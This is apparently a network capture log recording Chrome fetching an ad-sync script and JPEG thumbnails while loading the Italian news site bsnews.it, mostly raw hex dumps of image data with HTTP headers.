180	192.168.2.4	49937	162.55.236.224	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:13 UTC	547	OUT	GET /DF2886F390D432DF0C8E98D69702ED6F/ HTTP/1.1 Host: sync.richaudience.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:14 UTC	211	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:42:54 GMT Content-Type: text/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/8.2.4
2024-03-28 08:51:14 UTC	313	IN	Data Raw: 31 32 64 0d 0a 09 6c 65 74 20 72 61 53 79 6e 63 49 66 72 61 6d 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 69 66 72 61 6d 65 27 29 3b 0a 09 72 61 53 79 6e 63 49 66 72 61 6d 65 2e 77 69 64 74 68 3d 30 3b 0a 09 72 61 53 79 6e 63 49 66 72 61 6d 65 2e 68 65 69 67 68 74 3d 30 3b 0a 09 72 61 53 79 6e 63 49 66 72 61 6d 65 2e 66 72 61 6d 65 42 6f 72 64 65 72 3d 30 3b 0a 09 72 61 53 79 6e 63 49 66 72 61 6d 65 2e 73 63 72 6f 6c 6c 69 6e 67 3d 27 6e 6f 27 3b 0a 09 72 61 53 79 6e 63 49 66 72 61 6d 65 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 72 69 63 68 61 75 64 69 65 6e 63 65 2e 63 6f 6d 2f 62 33 61 64 64 65 31 66 34 62 62 62 33 31 63 33 34 38 35 35 36 32 64 36 65 33 64 64 63 65 62 34 2f 3f 72 6e 64 3d 35 36 35 Data Ascii: 12dlet raSyncIframe = document.createElement('iframe');raSyncIframe.width=0;raSyncIframe.height=0;raSyncIframe.frameBorder=0;raSyncIframe.scrolling='no';raSyncIframe.src='https://sync.richaudience.com/b3adde1f4bbb31c3485562d6e3ddceb4/?rnd=565

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	49943	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:13 UTC	419	OUT	GET /bsnews.it/wp-content/uploads/2020/12/CopGuidaPoeticaBs19_11.jpg?resize=300%2C235&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:14 UTC	602	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:14 GMT Content-Type: image/jpeg Content-Length: 20757 Connection: close Last-Modified: Tue, 26 Mar 2024 17:00:00 GMT Expires: Fri, 27 Mar 2026 05:00:00 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2020/12/CopGuidaPoeticaBs19_11.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "af8be0f198896817" X-Bytes-Saved: 1383 Vary: Accept X-nc: HIT dca 8 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:14 UTC	767	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c2 00 11 08 00 eb 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 01 07 08 ff c4 00 1b 01 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 06 05 07 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 70 0f 19 fa 48 Data Ascii: JFIFCC,"pH
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 93 ab 89 b6 d5 36 d8 0b ac 46 db ef 62 fa 9b 57 a2 c5 5c 03 bd e2 a2 44 af 89 42 5d ea 21 35 5e dd b3 ba eb cb 5a 33 8f 26 27 88 52 d3 9c 03 f3 be ca 1e bc 9e b8 66 47 1d 84 25 bd 1a ce 72 c2 2a 1d 49 ca cc 79 03 d2 82 e4 a8 e3 d6 d5 b6 58 28 f5 79 eb 9f 4b cb 35 70 97 e9 b9 66 2a 22 ab 69 58 6d 97 9c 44 db ee 7c 9f d4 21 26 b2 5e 56 59 74 4d 72 dc da ed 0f 97 fa 06 7d 76 23 3d 8b 29 29 e4 c5 20 1f 9a f7 d1 a9 32 3a a1 be a5 64 74 ca e4 92 95 bb 53 2a e2 64 eb 4c bc 38 cb 8d 4a 7c ea fb 0e 75 25 e4 2c 9f a5 e5 de 2f 1f 2b d5 f0 6a 1c a0 b8 ad e5 60 b7 18 8c b4 8d e9 1e 63 e8 11 36 39 ca fa 04 ce 4d 16 b6 96 82 db 52 8d 2d f5 05 b6 b9 be 8c 56 0a 2d ec 20 7e 67 f4 69 7b 72 6b 14 6a ba 0a 57 2d 82 a7 96 e4 29 24 59 92 aa 6e e4 85 0b b7 24 9a 74 32 93 ce bd Data Ascii: 6FbW\DB]!5^Z3&'RfG%rIyX(yK5pf"iXmD\|!&^VYtMr}v#=)) 2:dtS*dL8J\|u%,/+j`c69MR-V- ~gi{rkjW-)$Yn$t2
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: e7 8b 5f 3c 5a ff 00 c5 dc d3 f3 42 e6 9e d1 58 b5 af b8 cb 29 a1 66 3d 39 a7 a5 66 bd a3 d0 5d 2a 87 a6 ba c3 8d 3d b9 51 d5 b0 7a 77 69 ee 31 af d6 59 2a 93 52 f8 b3 50 96 57 a7 f3 c5 ba dd c0 bd 50 b1 96 eb 8a 66 ed 58 06 5e ac 13 0f 4c 80 d8 44 91 39 71 81 69 05 1e 42 72 2c a7 a1 5c ae 31 e4 23 05 e9 21 55 94 b3 e4 b4 ae e8 4d 46 f6 fc 16 f1 0a 6c 81 75 29 30 af 55 8b 70 51 6c 48 56 21 1a f5 0d 6d 9a 13 28 2a 0c 20 65 43 25 d4 51 25 7f 39 a7 5f 05 59 74 58 4b 8a 1d 18 bd 70 11 0e ae 33 a5 2f 19 2b a3 dd 5b 68 f1 64 6b 71 9e 30 d6 16 6b e4 0a 35 fc 65 54 e4 c0 e8 08 d2 1a 50 7e cb 10 ed f0 5e 70 5e 70 5e 70 5e 70 5e 76 d7 9d b5 e7 6d 79 2b 5e 76 c3 2d 76 54 8a f2 a6 a3 80 67 6c 73 b6 38 2a 0c ed af 3b 61 ef e5 d4 18 f2 6b 4b 5b e3 70 9b 35 0b 1a da 02 Data Ascii: _<ZBX)f=9f]=Qzwi1YRPWPfX^LD9qiBr,\1#!UMFlu)0UpQlHV!m(* eC%Q%9_YtXKp3/+[hdkq0k5eTP~^p^p^p^p^vmy+^v-vTgls8*;akK[p5
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 03 04 12 21 13 31 32 41 51 52 91 e1 10 15 22 30 05 14 20 61 71 a1 b1 42 62 81 c1 f0 ff da 00 08 01 03 01 01 3f 01 f6 aa 5f da d2 ae db 77 bc 07 bb 50 e3 ec b5 d7 1b da 3a f6 58 ee e3 60 4f e7 b2 c5 71 ca 3a f6 58 ee e3 60 75 ec 8b ae 77 34 75 ec 83 ee 79 07 5e cb 1d cc ec 8e bd 90 75 cc 6c 8e bd 96 3b 99 3e 91 d7 b2 0e b9 8d 91 d7 b2 b8 f8 73 ab d5 15 9f 4c 62 cb 7f 65 a3 bb 6d 4c 40 c8 e1 3d 93 29 5e 83 99 e1 bf af f4 ac 77 33 b2 3a f6 4d 7d cc 66 d1 d7 b2 c5 73 3b 23 af 64 1d 71 bd a3 af 65 8e ea 36 04 fe 7b 2c 55 f9 47 5e de 04 bb ee 8c f1 2a 4f dd 7a a2 73 59 ea cd 49 3c 54 9f ba a7 a9 37 69 de d8 6c 66 01 50 49 d4 56 1c b5 1e aa 0f 03 d5 61 c8 e4 7a ac 19 6a 3d 56 13 1a 8f 55 4e 70 e6 9b b4 7d b8 cb 57 ed 61 8d 5f ca 0d 1c 3f 6b 00 06 40 fd a6 b0 70 Data Ascii: !12AQR"0 aqBb?_wP:X`Oq:X`uw4uy^ul;>sLbemL@=)^w3:M}fs;#dqe6{,UG^*OzsYI<T7ilfPIVazj=VUNp}Wa_?k@p
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 53 4e 7d d2 ae 4d 79 57 20 65 10 bf ff c4 00 45 10 00 01 03 03 01 03 08 06 09 01 07 03 05 00 00 00 01 00 02 11 03 12 21 31 04 13 41 10 22 32 33 51 61 71 91 23 42 81 92 a1 f0 14 30 40 52 62 b1 c1 d1 e1 20 34 43 72 73 82 b2 f1 50 53 a2 24 63 74 b3 d2 ff da 00 08 01 01 00 06 3f 02 ff 00 ad 73 9c 1b 3d aa e0 e0 e6 9d 08 ff 00 a1 eb c9 4c 4c 5a f9 f8 22 2a 3d 8f 69 1c 71 1f 9a d5 63 3f 5f a0 f2 45 9c 1c fb fd aa de 17 5d ed 56 80 3c 90 77 60 70 f3 4c 6f fd b0 40 4c ff 00 db 10 3c a1 06 c0 80 23 44 f2 7f bc 68 69 4e 67 07 80 0f b1 1c 0c 88 d1 67 ef 4a de 46 6e 0e f2 45 df 7a 14 e3 59 c0 54 c8 fe ea 6d 9e f4 2d e1 fb ca 11 c3 b5 1b b1 3d 89 b2 3a 2d b5 07 f1 6a b6 06 04 68 8d 5c c9 08 b6 06 63 82 7f e3 10 7c a1 3d bc 2a 44 ac 77 6b dc a7 f1 5d 85 7c 66 e0 ef 24 Data Ascii: SN}MyW eE!1A"23Qaq#B0@Rb 4CrsPS$ct?s=LLZ"=iqc?_E]V<w`pLo@L<#DhiNggJFnEzYTm-=:-jh\c\|=Dwk]\|f$
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 31 35 4b 81 fd bc 15 7a f5 43 26 b3 66 1a e9 83 7b dd 1f f9 05 b9 75 46 4e 6a 07 4e 8f 2d 1f a8 44 12 c6 36 f9 0e 6d 4e 76 5c c3 ec e8 a7 d0 b5 b4 db 54 52 0e 70 aa 48 16 db 3c df 62 d9 e8 3a dd ed 33 48 bf 3f 74 89 fc 95 41 73 58 dd e7 35 cd 7e 60 d4 be 7b 95 8d 63 01 fa 3d 16 5a 1f 19 6b e4 e5 12 ca 0c 23 e9 0c ac 26 be 70 c0 d8 d3 e2 b7 75 62 ed e3 dd 83 da e2 7f 5f a8 73 37 cd 05 af b3 38 ce 3f 70 8f a7 66 0c 64 ea 9f 53 78 1c da 7d 2b 33 0a e7 57 63 63 59 39 08 0d e4 97 70 6a 63 b7 8d 02 a0 96 c9 d5 40 aa c9 98 d5 74 ae e7 5b 0d ce 54 ef 5b ed 3a 23 15 01 b6 26 0f 6a 9b f4 a7 bc 3e 0b 35 07 44 9d 7b 17 5c cf 79 5c 2a 37 49 d5 32 c7 cd e2 47 f4 00 1d 6c 19 9f 62 6b 3e 97 53 06 4b b8 95 1f 4c a9 fc f9 a7 83 b5 d4 75 ed 8c f0 4c 02 bb 9a 58 d8 b8 0c 94 Data Ascii: 15KzC&f{uFNjN-D6mNv\TRpH<b:3H?tAsX5~`{c=Zk#&pub_s78?pfdSx}+3WccY9pjc@t[T[:#&j>5D{\y\*7I2Glbk>SKLuLX
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 86 a3 73 94 f0 d1 c5 6a b7 4d 75 2b a3 d6 93 0b 1b 58 f6 32 39 7d 05 48 67 37 a4 e3 c0 a7 35 f5 59 96 10 20 f1 56 8a ed c4 fe 58 e1 da ba d6 47 0f 98 5d 6b 4f b7 f8 f1 5c c7 73 cd 33 71 27 17 63 f9 57 0a 83 a9 8d 7d 6e d5 8a e2 d9 ee 98 9f 0e c4 2e ab 4f 41 31 f1 e0 a3 68 a8 0b 48 f5 4f 87 f2 9a 25 bb b0 e7 13 2e 92 46 63 f4 5d 73 01 8f 9e 1e 29 c0 55 6e 98 27 4d 7c 11 b2 b3 24 83 af 0c f8 2b 78 0d 33 3c b5 69 d2 a9 15 de 5e 32 0e bc 55 c3 6d a6 44 12 17 d1 a9 9c d3 16 dc 41 d5 3c 6f fc 89 28 3a 99 73 cb ce 87 44 30 6e 7f 09 c2 2f ad 48 35 c5 6f 2d e8 b9 1a 6e d9 f9 be 04 a7 4b 20 4e 24 27 55 04 42 6b 4b 3a 40 f6 ad c8 d9 eb 3a cc 73 5a a8 b4 d2 73 4b 35 90 83 69 06 83 f8 d3 80 ab 4e 3b 9a ac da b6 b7 c8 d1 ad 56 38 d7 2e 56 9a 55 64 7e 1f b2 56 ab 4e d8 Data Ascii: sjMu+X29}Hg75Y VXG]kO\s3q'cW}n.OA1hHO%.Fc]s)Un'M\|$+x3<i^2UmDA<o(:sD0n/H5o-nK N$'UBkK:@:sZsK5iN;V8.VUd~VN
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 33 e0 10 a2 a6 24 57 52 e8 21 f3 8e 13 6c b8 74 e9 18 e3 21 50 0b a2 fa 58 bd 65 2d 96 a4 df 6d 4b 94 0a 75 33 a8 19 45 06 cd 95 bf 58 c2 05 8a 2f f4 dc 20 08 ec 52 f9 5f ab 18 2a 0b 8e 9b 7f 30 70 18 4f 84 cc b4 51 d3 8f b4 54 60 50 af d7 49 b3 61 9c e3 52 fa 8e 4f 06 be 50 07 f5 3f 42 38 de 01 e5 31 5d 23 57 06 95 85 f6 42 5d 01 a6 0a c9 00 90 ae af 22 8f 68 c5 ba a4 f5 b5 7c e5 5d 0b 9e b9 d2 51 d4 35 e4 10 f9 cb 00 0f 45 35 af 9c 1e 74 df b8 a3 8c 01 5d 48 f8 46 d7 93 52 b7 76 f7 be 24 aa 90 01 66 68 f8 d7 d2 37 0b 71 47 ce 06 6b 76 0f 85 25 97 90 0d 03 e6 82 66 05 73 8c 0f d5 f0 97 40 55 db ae 78 27 eb 6f 6f 9e 27 05 96 56 ab c2 05 c3 43 87 9b fc 7a ca c7 41 7d e2 de a0 63 9a 59 f4 b8 66 52 c6 fa f3 0c dd 2a db 38 33 5c f8 7a c6 25 82 af de 52 cd 55 Data Ascii: 3$WR!lt!PXe-mKu3EX/ R_0pOQT`PIaROP?B81]#WB]"h\|]Q5E5t]HFRv$fh7qGkv%fs@Ux'oo'VCzA}cYfR83\z%RU
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 32 d3 47 38 99 ce 1b 49 6f 45 d8 c7 32 f9 02 02 c2 01 98 e5 6b c6 e5 71 79 c5 28 12 25 74 48 bc 76 d3 5c a2 f7 19 fc 44 fe 22 7f 11 3f 88 9f c4 7f 95 10 bc 66 9e 3b 49 9e 12 b0 b4 a5 02 d9 85 d4 79 ee 4a 14 45 b5 7a 56 68 0c 15 a0 07 10 33 9d 7b 3e b0 9b 11 b4 39 8a 34 64 97 f3 b9 14 a1 27 86 0b e8 c2 34 2c 8b 0a 26 32 07 cf 31 34 2a 91 0e c5 57 7d cc cf ac d1 b7 47 cd 2d 50 59 d1 a5 69 90 35 e3 10 53 dd e7 1a 36 31 a6 02 1f 65 2a c9 ae 5a 7b a5 24 0a bd 85 1b ed ff 00 02 91 6e 07 97 11 7b fa 91 0a 9f 11 3c 47 52 50 ba de e8 f0 3c 1f 48 dc c0 51 5d 1b b2 57 6b 00 c8 96 86 7a 65 09 ac b0 21 5e a7 a9 11 34 05 2b b7 88 7e 2c ea 0c 2e b1 da 51 60 66 e8 30 ab bf 52 59 bd 86 45 2a 83 d6 2d 51 e6 06 f7 2e 04 d1 a5 e9 67 8e 75 05 40 b5 d1 4e b5 f3 88 57 00 b1 c5 Data Ascii: 2G8IoE2kqy(%tHv\D"?f;IyJEzVh3{>94d'4,&214W}G-PYi5S61eZ{$n{<GRP<HQ]Wkze!^4+~,.Q`f0RYE*-Q.gu@NW
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: d8 ee 3d 89 98 57 87 ce 68 b0 60 ea f4 96 75 1a 2b d2 60 74 01 af d2 21 02 16 47 54 73 19 c6 56 db 39 cc b9 14 8f 06 99 1a 4b 53 5d 25 1a af 38 c0 11 9d 4d ce 2c a3 d2 07 d6 2a d5 6b a2 f8 9e 83 6a 07 36 2b d7 15 7e d3 79 8c 50 98 d3 80 ae 67 0f 50 56 d7 c4 5f 87 84 6f d5 6b d8 b7 0d 5f 8e af c2 56 1e f1 ed 09 14 2a 2e a1 6d a5 5f 87 86 e3 33 b1 1b f6 55 5d 27 4e 2f 72 cb f6 3c e7 46 59 03 2d fc 99 78 e0 8e 26 fb 80 fe 89 97 79 a8 92 86 4e 2f 97 11 20 28 16 e3 78 bf db a7 8c 5e d9 34 96 b5 ec 2b f7 33 38 15 18 53 d3 b8 aa 98 49 49 b3 4f af c5 e7 30 e0 16 ec ed 33 0e 70 17 7a 84 84 11 88 50 a7 89 d3 07 56 05 e7 c1 ef 19 22 af 02 7b c4 7a f6 a3 16 ae d5 13 e2 18 1f a4 13 63 53 bd d4 51 cb 33 91 f2 89 6c 97 dd c9 d3 89 62 46 6e e8 c4 20 6b ac 5e 46 d8 35 bc Data Ascii: =Wh`u+`t!GTsV9KS]%8M,kj6+~yPgPV_ok_V.m_3U]'N/r<FY-x&yN/ (x^4+38SIIO03pzPV"{zcSQ3lbFn k^F5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	49941	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:13 UTC	434	OUT	GET /bsnews.it/wp-content/uploads/2018/04/quattro-col-pallone-lr.jpg?fit=1200%2C799&ssl=1&resize=350%2C200 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:14 UTC	603	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:14 GMT Content-Type: image/jpeg Content-Length: 25031 Connection: close Last-Modified: Thu, 28 Mar 2024 08:51:14 GMT Expires: Sat, 28 Mar 2026 20:51:14 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2018/04/quattro-col-pallone-lr.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "e590c636b5b38a89" X-Bytes-Saved: 1962 Vary: Accept X-nc: MISS dca 7 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:14 UTC	766	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c2 00 11 08 00 c8 01 5e 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 05 06 04 07 00 02 03 01 08 ff c4 00 1a 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 75 db dd b6 73 3c Data Ascii: JFIFCC^"us<
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: a2 3c 13 74 24 2b 00 10 d5 0f 64 d0 13 ab 41 72 e1 90 c4 a2 d6 07 32 6e cd d0 8c a1 52 ae 26 d1 25 3c 4c bf 3a a8 5c 55 08 2f 77 3c 7c f7 7c 1d 7f 99 64 81 2a 02 5a 0d c2 0a 69 85 d4 a8 9e 8b 10 aa 05 80 b4 40 4e 28 a7 3a 42 67 e7 6f a1 2a 10 b6 81 63 d4 d7 65 a4 df 35 36 87 29 bf 53 e5 94 28 49 04 c0 06 e3 61 80 1d a6 a1 ad d1 5a 57 bf 1a fa dd 4b 74 2b 73 06 c2 66 1b fa a2 f6 49 dd 55 59 17 55 b7 06 c5 2b 34 1d 60 8a 88 ca fa b3 a5 7b d8 44 97 2b 41 02 b2 f5 3b 75 54 68 b0 06 f4 a4 77 a2 da 59 b2 0d 33 66 75 67 8a e8 b4 b1 ba 2e 76 38 dd f8 a3 38 0e 88 b1 8c 01 6b 64 c0 66 08 c3 9a 9a e8 51 72 1e 75 66 63 40 ba f9 b6 e1 ba c8 b6 73 56 0a 44 6a e8 2e 10 5e e5 23 5f 2c d3 0c 78 2a 9d a6 34 5c 5c eb 0a ae 09 3c d4 e3 41 63 5f 8b 2a 91 0a 18 5f b2 2b 9b 2c Data Ascii: <t$+dAr2nR&%<L:\U/w<\|\|dZi@N(:Bgoce56)S(IaZWKt+sfIUYU+4`{D+A;uThwY3fug.v88kdfQrufc@sVDj.^#_,x4\\<Ac__+,
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: e7 8c 95 78 b7 8f 87 79 9a ca 5c 3c a8 b6 87 8f 5d 0a f9 fa 82 50 7b 2f 07 b9 29 b7 fd 99 cf d4 06 76 d9 cc c8 b7 40 d2 78 b8 66 2b d6 ae c6 c9 54 b0 68 ab 57 b5 ff 00 e8 fd 46 67 5a 5a 84 fc 87 b6 c7 a5 87 73 e3 ab 6e 55 ed d3 fd 3f 6f 74 63 ff 00 ee c2 98 11 38 ec 3b 8f 54 6c 47 af 10 ce 8c bb f4 9d 55 59 7d 9f d5 08 eb aa f1 c6 40 de 60 1f 75 01 e2 23 a4 f9 85 a2 b1 b8 d1 32 3d 7a 9b 1f 26 8c fd 64 7f 45 4d 82 5f 77 6b 7f e3 59 49 8b 57 68 fd 48 df bb e4 ec 9f fe fe 27 ff 00 58 2f d8 ba c8 85 96 cb 61 56 a5 1a 5b 4a de ad a6 eb e3 97 8c 5e f9 b4 df b2 4a 76 db 2b 3f 1a be fa f3 dc aa 69 5f 0c 4c 49 29 74 8f 44 a4 6b 63 53 e1 16 bd 0f 69 74 55 1b e3 6f 61 3c 44 6f 36 6d 3a ba 0d a0 58 ad e5 54 0d 57 bd 61 de 03 96 54 a3 f3 99 ab d4 2a a1 fe a9 ff 00 f4 Data Ascii: xy\<]P{/)v@xf+ThWFgZZsnU?otc8;TlGUY}@`u#2=z&dEM_wkYIWhH'X/aV[J^Jv+?i_LI)tDkcSitUoa<Do6m:XTWaT*
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: d9 96 47 8f dc 61 b7 c7 ec fb 77 1a 7b 35 d1 e2 be 39 62 eb 23 e1 eb eb 5d b0 b3 8a 5b bf 51 3a bd 4d ad 4d 65 77 26 09 3e a3 f5 14 15 b6 41 d9 99 8c fa ce 47 38 ca 49 ae 5a ab 0b 59 d2 ad 38 1f 41 71 4a b2 d0 93 ae da 17 e3 8a 96 04 e3 65 af 13 60 f1 13 ce 78 af 42 d6 de fa 9a df 63 b0 5f b6 85 5b 4d a3 57 c6 3a 15 8d 19 3f e7 ec ab ba ca b7 a8 31 d4 d5 e6 d6 cf 7f b1 f4 ba b8 fd 1f f8 d7 04 c0 0c 73 9d be d9 38 3c 08 af ee 42 b0 36 7f fe 36 74 48 82 e3 06 b8 3a df e3 a4 32 3a e9 ff 00 60 91 98 db 9c 57 d7 f0 1c ca f2 56 79 22 79 0e 89 9a ac 81 ab 55 bc 57 49 4c 18 c7 0b 11 1c 3d 7a ed a9 aa 75 4b 34 9a f5 1e be c4 f0 49 43 89 75 aa f1 aa d5 f5 4e d4 76 d4 59 e3 d6 5b 62 a3 3f eb fe 61 f4 99 71 e2 ed dd 69 da ec b3 ad 0a 20 f1 f7 ad 1b 2d d5 90 63 97 1f Data Ascii: Gaw{59b#][Q:MMew&>AG8IZY8AqJe`xBc_[MW:?1s8<B66tH:2:`WVy"yUWIL=zuK4ICuNvY[b?aqi -c
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: e2 37 e9 d9 1c 34 b2 b2 87 06 25 4c dd 43 a4 6c 64 4c 4c 7b 74 c9 93 99 4f c4 43 8e e6 a5 76 da 7c d7 a6 cf 71 f4 84 2e 44 c4 c4 4f aa 57 4e 79 cc 04 cd 7d 43 21 84 a1 00 58 66 a5 3f 2f 76 9b e0 a0 c4 23 19 9c 19 ac 20 da 71 e2 95 cd 80 4a 95 47 c8 c6 02 5e bb 6c 20 78 13 4f ca 06 9b 06 26 ac 8c aa ca 30 52 1c 0e 23 e1 d8 ac 2b 83 89 8f 1b 04 db cc 2d b5 30 26 8f 5c 1c fa 4e 30 65 d6 14 5c c2 a3 39 85 39 9a 71 87 95 b0 61 99 c1 9a 80 7d 43 98 44 c7 13 45 71 2d e9 99 7e e5 42 44 5d ce c1 8c a9 ca b4 b1 d5 14 bb 7d a5 3a 83 61 df 8c 4b aa 0e 37 2c db e3 10 9f 05 41 96 5a 5c 60 c6 1e 15 80 33 49 62 b0 22 6a 2d 08 b9 32 e6 dc f9 86 7c 49 c6 62 e5 4c 37 31 18 26 56 79 86 6b 0f aa a1 33 c7 de 2f 1c 45 62 39 12 d5 1d 89 89 8c c6 07 3c c1 35 55 b5 89 f1 ee 55 aa Data Ascii: 74%LCldLL{tOCv\|q.DOWNy}C!Xf?/v# qJG^l xO&0R#+-0&\N0e\99qa}CDEq-~BD]}:aK7,AZ\`3Ib"j-2\|IbL71&Vyk3/Eb9<5UU
2024-03-28 08:51:14 UTC	1369	IN	Data Raw: 93 7e 13 e3 f8 5c c8 b0 92 c7 bf 9f 84 3a a7 3f d1 49 7e eb 16 05 d2 a9 73 be c4 cc 20 68 a9 e5 95 dc 86 c7 1b 3f b9 ec 3f ed 72 39 b0 fa ef 7c 8e e8 88 6b f7 25 37 9f cc e4 0c c3 f1 1e c0 7b 2f a8 e5 5d 17 e5 fd 42 95 c3 1c 8e 94 1f 7f a5 8d a6 81 ff 00 2a 26 0a af 85 13 0b 42 da a4 3f 75 8d 22 2b b2 e5 b0 48 c2 3d fc fc 1a 1f ca 4f ec 9e cd 27 68 d2 c9 37 65 67 eb 4e e8 65 f9 d2 90 07 0d a9 38 d1 97 75 35 0e 2c 4e 75 76 50 37 d3 d6 56 a7 c5 ed c5 45 13 61 8c 82 54 24 4c 7a 7b 7c af 7a 40 df 98 b0 bb 85 22 99 98 bc 8f 2f 0f 68 1c 66 f9 4b dc 26 80 9a 10 1f c4 bf f7 c2 2a 6f 95 27 e6 9a 4d 27 7e 49 fa 76 93 bb 2b a2 af 56 9d fc b0 8a 05 05 23 45 2e 70 a9 57 ff c4 00 41 10 00 02 01 02 03 05 05 05 05 07 03 03 05 00 00 00 01 02 00 03 11 12 21 31 04 13 22 41 Data Ascii: ~\:?I~s h??r9\|k%7{/]B&B?u"+H=O'h7egNe8u5,NuvP7VEaT$Lz{\|z@"/hfK&o'M'~Iv+V#E.pWA!1"A
